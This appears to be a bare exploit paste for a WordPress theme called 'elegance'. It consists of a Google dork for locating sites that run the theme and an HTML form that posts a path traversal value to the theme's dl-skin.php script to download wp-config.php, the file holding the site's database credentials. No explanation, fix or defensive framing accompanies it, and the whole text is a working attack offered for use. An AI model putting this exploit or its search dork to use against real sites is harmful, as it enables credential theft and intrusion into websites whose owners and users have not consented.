Untitled



Dork=inurl:/wp-content/themes/elegance

exploit

<html>


<body>


<form action="http://127.0.0.1/wp-content/themes/elegance/lib/scripts/dl-skin.php" method="POST">


<b>File</b>:<input type="text" name="_mysite_download_skin" value="../../../../../wp-config.php"><br>


<input type="submit" value=Download>


</form>


</body>


</html>